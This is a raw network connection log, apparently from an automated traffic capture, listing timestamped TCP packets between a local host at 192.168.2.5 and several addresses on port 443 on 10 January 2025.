Jan 10, 2025 12:04:35.429302931 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.429306030 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.429315090 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.429354906 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.429416895 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.429466009 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.429476976 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.429516077 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.430150986 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.430214882 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.430224895 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.430269003 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.430958033 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.431018114 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.431058884 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.431103945 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.431195021 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.431243896 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.431972980 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.432010889 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.432025909 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.432030916 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.432053089 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.432120085 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.432163954 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.432168961 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.432204962 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.436186075 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.436228037 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.436285973 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.437618017 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.437644005 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.444272995 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.444283009 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.444339991 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.444552898 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.444564104 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.445050001 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.445080996 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.445147038 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.445319891 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.445333004 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.449816942 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.449824095 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.449872017 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.450145006 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.450155020 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.457143068 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.457179070 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.457232952 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.457405090 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.457417011 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.471775055 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.471824884 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.471890926 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.472436905 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.472459078 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.517858028 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.517914057 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.517945051 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.517942905 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.517973900 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518064976 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518090010 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518110037 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518115997 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518167973 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518251896 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518296003 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518456936 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518486023 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518513918 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518521070 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.518543005 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.518995047 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519042015 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.519052029 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519088030 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.519335985 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519370079 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519386053 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.519392967 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519419909 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.519440889 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.519551992 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.519604921 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520082951 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520124912 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520140886 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520144939 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520204067 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520287991 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520324945 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520349979 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520354986 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520366907 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520368099 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520421982 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520426989 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520463943 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.520939112 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.520988941 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521074057 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.521121025 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521291971 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.521322966 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.521334887 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521339893 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.521373987 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521392107 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521826982 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.521881104 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.521980047 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.522026062 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.522161007 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.522192955 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.522212982 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.522219896 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.522279024 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.522353888 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.522404909 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.588560104 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.588964939 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.588979006 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.590033054 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.590096951 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.602989912 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.603260994 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.603267908 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.603341103 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.607588053 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.607614994 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.607681036 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.607697964 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.607784986 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.608000040 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608042955 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608057022 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.608067989 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608093023 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.608608007 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608622074 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608654976 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.608659029 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608697891 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.608983040 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.608997107 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.609050035 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.609055996 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.609635115 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.609653950 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.609688997 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.609694004 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.609724045 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.612544060 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.612557888 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.612612963 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.612617970 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613125086 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613143921 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613184929 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.613190889 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613219976 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.613698006 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613711119 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613749981 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.613755941 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.613782883 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.652592897 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.652618885 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.659588099 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.659878969 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.659919977 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.663533926 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.663624048 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.663985968 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.664134979 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.664467096 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.665808916 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.666007996 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.666038036 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.668008089 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.668200016 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.668286085 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.668312073 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.669672966 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.669728041 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.669831038 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.669886112 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.670039892 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.670105934 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.670301914 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.670435905 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.670445919 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.670488119 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.670623064 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.697642088 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.697669983 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.697758913 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.697788954 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.697830915 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.698169947 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698184967 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698252916 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.698257923 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698298931 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.698749065 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698765993 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698834896 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.698842049 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.698879004 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.699300051 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.699321985 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.699397087 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.699403048 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.699454069 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.699498892 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.699927092 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.699940920 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.699994087 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.699999094 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.700036049 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.700465918 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.700483084 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.700531006 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.700536966 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.700579882 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.700999022 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701011896 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701066971 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.701071024 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701107025 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.701419115 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701431990 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701488972 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.701493979 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.701530933 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.723472118 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.723496914 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.723499060 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.723499060 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.723526001 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.752379894 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.752578974 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.752636909 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.753937960 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.753958941 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.757797003 CET	49844	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.768800020 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:35.768819094 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:35.768882036 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:35.769090891 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:35.769098997 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:35.771611929 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.771692038 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.787530899 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.787559032 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.787600040 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.787658930 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.787678003 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.787702084 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.787704945 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.787727118 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.787758112 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.788356066 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.788371086 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.794760942 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.795062065 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.795083046 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.796751976 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.796822071 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.797895908 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.797986031 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.798115015 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.798124075 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.798916101 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799082994 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799174070 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799217939 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.799226999 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799304008 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799343109 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799344063 CET	443	49844	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.799356937 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.799367905 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799387932 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.799400091 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799462080 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799503088 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.799510956 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799531937 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799571037 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.799576998 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799604893 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799643993 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.799650908 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.799679041 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799720049 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.799727917 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799830914 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.799870968 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.799875975 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.804173946 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.804492950 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.804523945 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.804814100 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.804853916 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.804867983 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.804899931 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.804949045 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.804950953 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.805000067 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.805013895 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.806072950 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.806133986 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.806453943 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.806519985 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.806607962 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.806617022 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.806780100 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.806936979 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.806983948 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.807014942 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807116032 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807158947 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.807173967 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807280064 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807324886 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.807332039 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807451010 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.807497025 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.807504892 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.812385082 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.812454939 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.812463045 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.812544107 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.812588930 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.812596083 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.837994099 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.838325977 CET	49874	443	192.168.2.5	104.18.140.17
